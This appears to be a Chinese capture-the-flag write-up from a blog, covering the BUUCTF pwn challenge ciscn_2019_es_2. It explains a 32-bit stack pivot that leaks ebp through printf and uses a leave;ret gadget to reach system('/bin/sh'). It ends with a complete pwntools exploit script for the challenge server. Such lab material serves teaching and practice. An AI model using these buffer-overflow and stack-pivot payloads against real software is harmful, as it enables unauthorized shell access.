BUUCTF栈迁移ciscn_2019_es_2

1.checksec+运行获取基本信息

32位+NX堆栈不可执行

2.常规IDA操作

1.main函数

并没有什么

2.int vul()函数

程序主体,信息很多

1.两次read都在往同一个地方s处读入数据

2.要读入0x30,但s大小只有0x28,如果有后门函数,直接常规栈溢出操作

但是shift+f12

 这里仅仅是打印flag字符串,没有用

同时查看hack函数

system里面的参数不是bin_sh不能直接用,所以要修改system的参数

但是...........

s只有0x28,要读入0x30,所以只有0x30-0x28=0x8的空间让我们构造ROP链

于是乎

我们找新的地方,足够大来构造,也就是

栈迁移

但是栈迁移不是想用就能用的,需要满足条件

1.存在leave ret的gadget指令

2.存在可执行shellcode的地方(system函数,自己写入binsh)

 利用思路+具体操作

题目两次read读入,有两次溢出,第一次溢出需要泄露栈上地址,为第二次迁移准备(确定迁移地址)

程序提供了printf函数,该函数有一个特性,在没有遇到终止符"\0"会一直输出,可利用它泄露出栈上地址,得到劫持位置的准确地址.

payload1 = b'A' * (0x27) + b'B'#留一个位置补"\0"#连带打印出ebp的地址
p.send(payload1) # 不要用 sendline,sendline会发送空格,导致无法补"\0"中断
p.recvuntil("B")#接收printf返回的ebp前要先recv前面read输入的内容
old_ebp = u32(p.recv(4))
print(hex(original_ebp))

缓冲区参数s的位置可以用ebp寻址,所以用printf泄露ebp的地址

用gdb确定参数位置

应该是不能在main函数下断点,断点下在main函数,不能再输入参数了

单用gdb不开root权限,可以输入,但是好像不能看栈的结构

 其实下在main函数处

输入n,多运行几步,n到可以输入参数的位置就行了,但是要注意别n过头了

所以在想一个问题:

如何找到合适的下断点的位置?

目前还没有找到,先记下了----2022年4月22日晚10点记

将断点下在vul函数的nop位置

 输入bbbb确定位置

python 计算一下

 

 确定s位置

ebp-0x38

具体攻击过程

1.覆盖原栈上ret为leave ret的地址

2.将old_ebp覆盖为old_ebp-0x38,old_ebp已通过printf泄露出来

栈空间不会复原,而是

之后执行第二个leave ret,也就是已经实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果

接下来

为常规的栈溢出操作,执行 system 的shellcode 以完成对 eip 与执行流的篡改

payload2 = b'aaaa'

payload2 += p32(system_addr)

payload2 += b'bbbb'

payload2 += p32(original_ebp - 0x28) #迁移到新位置就是一个正常的栈溢出,s大小为0x28
payload2 += b'/bin/sh\x00' 
payload2 = payload2.ljust(0x28, b'p')

 补充:Python ljust知识

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。

str = "this is string example....wow!!!";

print str.ljust(50, '0');

输出结果: 

this is string example....wow!!!000000000000000000

接着构造

payload2 += p32(original_ebp - 0x38) # 参数s的位置
payload2 += p32(leave_ret) # new leave ret

写到这里,最后交互,攻击就结束了

完整的脚本

from pwn import*
#p=process('./ciscn2019es2')
p=remote("node4.buuoj.cn",28058)



system_addr = 0x08048400
leave_ret = 0x080484b8

payload1 = b'A' * (0x27) + b'B'
p.send(payload1) # not sendline
p.recvuntil("B")
original_ebp = u32(p.recv(4))
print(hex(original_ebp))

payload2 = b'aaaa' 
payload2 += p32(system_addr)
payload2 += b'bbbb'
payload2 += p32(original_ebp - 0x28)
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(0x28, b'p')

payload2 += p32(original_ebp - 0x38) 
payload2 += p32(leave_ret) 

p.sendline(payload2)
p.interactive()

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值